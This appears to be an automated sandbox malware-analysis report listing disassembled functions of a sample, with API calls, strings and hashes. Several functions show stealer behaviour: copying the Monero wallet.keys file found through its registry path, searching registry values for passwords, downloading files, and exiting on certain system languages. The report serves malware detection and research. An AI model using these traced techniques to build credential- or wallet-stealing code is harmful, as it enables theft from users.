Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: 2c07d2e5f2d86ab56a62853050e3623f8415eeaf10f651efec3a708a135ae856
Instruction ID: a18e5ba717d90c20c2426d83a13a237c0a2f648a3df755456e30f39b11c63a78
Opcode Fuzzy Hash: 2c07d2e5f2d86ab56a62853050e3623f8415eeaf10f651efec3a708a135ae856
Instruction Fuzzy Hash: B77157B6D00218ABDB14EBA0DD45FDE737AAF88304F00459DF505A6191EB38EB94CF55

Function 6D4B2D00 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 232libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,00000000,?), ref: 6D4B2D19
GetProcAddress.KERNEL32(SymFromInlineContextW), ref: 6D4B2D49
GetProcAddress.KERNEL32(SymGetLineFromInlineContextW), ref: 6D4B2D7C
GetProcAddress.KERNEL32(SymAddrIncludeInlineTrace), ref: 6D4B2DE1
GetProcAddress.KERNEL32(SymQueryInlineTrace), ref: 6D4B2E0A

Strings

X, xrefs: 6D4B2F13
SymGetLineFromInlineContextW, xrefs: 6D4B2D71
SymAddrIncludeInlineTrace, xrefs: 6D4B2DD6
SymQueryInlineTrace, xrefs: 6D4B2DFF
SymFromInlineContextW, xrefs: 6D4B2D3E

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: SymAddrIncludeInlineTrace$SymFromInlineContextW$SymGetLineFromInlineContextW$SymQueryInlineTrace$X
API String ID: 2190909847-1953985048
Opcode ID: ddf1030d6bac2830368fa76d3bbe9a6a82b12e536164f7faa0c78ac0260bb80d
Instruction ID: a0a84bd1859cfc9ae751e56f5c14a49f4829ca36cccc75c5f36096a9e4ce882d
Opcode Fuzzy Hash: ddf1030d6bac2830368fa76d3bbe9a6a82b12e536164f7faa0c78ac0260bb80d
Instruction Fuzzy Hash: 9AA172709083819BEB228F19CC85FEBBBF8FF99314F10461DF99496250EB7199458B92

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,008ACD80,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

wallet_path, xrefs: 00401330
\Monero\wallet.keys, xrefs: 0040138D
SOFTWARE\monero-project\monero-core, xrefs: 00401335
.keys, xrefs: 0040136B

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: c513f4de7b09347e99692c6298b0bb1d711b4673430913d33531ad05f69ebe41
Instruction ID: 741fdb0546306804f524ee4e08b2aea9f849864388c8e0516508d47f484bafde
Opcode Fuzzy Hash: c513f4de7b09347e99692c6298b0bb1d711b4673430913d33531ad05f69ebe41
Instruction Fuzzy Hash: 6B5151B1E501185BCB14EB60DD96BED733DAF54304F4045EEB20A62092EF346BD8CA6E

Function 61E3C943 Relevance: 16.9, APIs: 3, Strings: 8, Instructions: 360stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 61E3CC03
strncmp.MSVCRT ref: 61E3CC58
strncmp.MSVCRT ref: 61E3CCA9

Strings

false, xrefs: 61E3CC9E
0, xrefs: 61E3CCF9
null, xrefs: 61E3CBF8
true, xrefs: 61E3CC4D
}, xrefs: 61E3CDBB
-, xrefs: 61E3CD00
-, xrefs: 61E3CCF0
], xrefs: 61E3CDC5

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: strncmp
String ID: -$-$0$]$false$null$true$}
API String ID: 1114863663-1443276563
Opcode ID: 4366ec816b9fce7022b57502cc8f689d133e39cff5fe7996cab8ff7cfed47eb1
Instruction ID: 7d0d7d581299a88f4ecf4101ed3cb2921062378b47abb911dec42016596cbabc
Opcode Fuzzy Hash: 4366ec816b9fce7022b57502cc8f689d133e39cff5fe7996cab8ff7cfed47eb1
Instruction Fuzzy Hash: 4BD1DF70B482768ADB12CFA8C4443DABBF2AFCA318F69C25BD4919B281D739D446C751

Function 00407630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407330: memset.MSVCRT ref: 00407374
Part of subcall function 00407330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
Part of subcall function 00407330: RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
Part of subcall function 00407330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
Part of subcall function 00407330: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
Part of subcall function 00407330: HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

lstrcatA.KERNEL32(00000000,0042192C,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?,?,00416414), ref: 00407666
lstrcatA.KERNEL32(00000000,00000000,00000000), ref: 004076A8
lstrcatA.KERNEL32(00000000, : ), ref: 004076BA
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004076EF
lstrcatA.KERNEL32(00000000,00421934), ref: 00407700
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00407733
lstrcatA.KERNEL32(00000000,00421938), ref: 0040774D
task.LIBCPMTD ref: 0040775B

Strings

: , xrefs: 004076AE

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction ID: 7dd5c8f6c25e89eb5421da9b581f9cff4d94f04832d352fdfe902425259828cd
Opcode Fuzzy Hash: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction Fuzzy Hash: B73164B1E05114DBDB04EBA0DD55DFE737AAF48305B50411EF102772E0DA38AA85CB96

Function 00407330 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407374
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 004075B5

Strings

Password, xrefs: 00407461

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction ID: 394e2b55a83f95d9b644045a39dee7934e13af239b1baa97d0343fed5997f3db
Opcode Fuzzy Hash: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction Fuzzy Hash: 43611EB5D041689BDB24DB50CC41BDAB7B8BF54304F0081EAE649A6181EF746FC9CF95

Function 61E44905 Relevance: 13.8, APIs: 6, Strings: 3, Instructions: 346COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E44953
memcmp.MSVCRT ref: 61E44A05
memcmp.MSVCRT ref: 61E44BC9
memcmp.MSVCRT ref: 61E44C16
memcmp.MSVCRT ref: 61E44C7A
memcmp.MSVCRT ref: 61E44CAE

Strings

cache, xrefs: 61E44CA7, 61E44CC5
access, xrefs: 61E44BE0
@, xrefs: 61E44922

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: memcmp
String ID: @$access$cache
API String ID: 1475443563-1361544076
Opcode ID: 6a756704d9a5e632f7fc2e1c6f732c660ad2fd9c7916c21d548a59f960e475b6
Instruction ID: bf7f6bc55254c54d21197c9aa673ce015ae0bdc4e4658c964804263f7089fac0
Opcode Fuzzy Hash: 6a756704d9a5e632f7fc2e1c6f732c660ad2fd9c7916c21d548a59f960e475b6
Instruction Fuzzy Hash: FDD16FB4A083558FEB11CFA4D48039EBBF1AF89318F28C45ED895AB341E339D841DB55

Function 61E241D7 Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 180stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E24268

Strings

ya, xrefs: 61E2427F
bua, xrefs: 61E24252
ya, xrefs: 61E2429A
program, xrefs: 61E24457
Xya, xrefs: 61E24418
(blob), xrefs: 61E2439F
NULL, xrefs: 61E243A4
bua, xrefs: 61E24274

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: strcmp
String ID: ya$ya$(blob)$NULL$Xya$bua$bua$program
API String ID: 1004003707-2454903709
Opcode ID: 159ce7650a377ea6ea6ab72cd320b4004e236130d8e3e4a11b54add8b656ccd7
Instruction ID: 4befd86826370bfd8630e1afa8d422750160e2b9b2ea18a9ced5634f5bcee847
Opcode Fuzzy Hash: 159ce7650a377ea6ea6ab72cd320b4004e236130d8e3e4a11b54add8b656ccd7
Instruction Fuzzy Hash: 3B7115B49097469FC708CF58C191A59BBF0BF8A304F25C85EE8A89B751D335D882CF92

Function 004060F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DFB,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,008B21D0), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(00412DB1,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(00412DB1), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: 79bb47fcace65dc0c408726790117bb2adccae202de1a5eabfd6db97336226ad
Instruction ID: 62bae03b9e4771e022f65dfe0b744ca25a6527e7e90d195df508867c32b8ef77
Opcode Fuzzy Hash: 79bb47fcace65dc0c408726790117bb2adccae202de1a5eabfd6db97336226ad
Instruction Fuzzy Hash: CD5184B1A01218ABDB20EF90DC45FEE7779AB44305F0041AEF605B71C0DB786A95CF59

Function 00417350 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 0041735E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

OpenProcess.KERNEL32(001FFFFF,00000000,0041758D,004205C5), ref: 0041739C
memset.MSVCRT ref: 004173EA
??_V@YAXPAX@Z.MSVCRT(?), ref: 0041753E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041740C

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 7b7b13459ef3e3ce077f43b45f51940ee84d8b489f984f2d6028b0eae7cabbc5
Instruction ID: 233c3b8a05bec9dd0facad4523d46c30dcb6cb295cabbf2d5ddda9a1061df09f
Opcode Fuzzy Hash: 7b7b13459ef3e3ce077f43b45f51940ee84d8b489f984f2d6028b0eae7cabbc5
Instruction Fuzzy Hash: 24515FB0D04218ABDB14EF91DC45BEEB7B5AF04305F1041AEE21567281EB786AC8CF59

Function 00416A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416CC6,00420AF3), ref: 00416A14
ExitProcess.KERNEL32 ref: 00416A45
ExitProcess.KERNEL32 ref: 00416A4F
ExitProcess.KERNEL32 ref: 00416A59
ExitProcess.KERNEL32 ref: 00416A63
ExitProcess.KERNEL32 ref: 00416A6D

Strings

*, xrefs: 00416A2C

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 8ad7487ebdf551ce844e744865076748c7b192adeb82af89cb9554ed9750e1ed
Instruction ID: 485b87df60e927c5081145715141aeea1c9fd48c6e3f29f258bd7afdae13bdb0
Opcode Fuzzy Hash: 8ad7487ebdf551ce844e744865076748c7b192adeb82af89cb9554ed9750e1ed
Instruction Fuzzy Hash: AFF0E232D8E218EFD3409FE0EC0979CFB31EB05707F064296F60996190E6708A80CB52

Function 6D4C4166 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6D4C4285
___TypeMatch.LIBVCRUNTIME ref: 6D4C4393
CallUnexpected.LIBVCRUNTIME ref: 6D4C4500

Strings

csm, xrefs: 6D4C4210
csm, xrefs: 6D4C42BC
csm, xrefs: 6D4C41A3

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

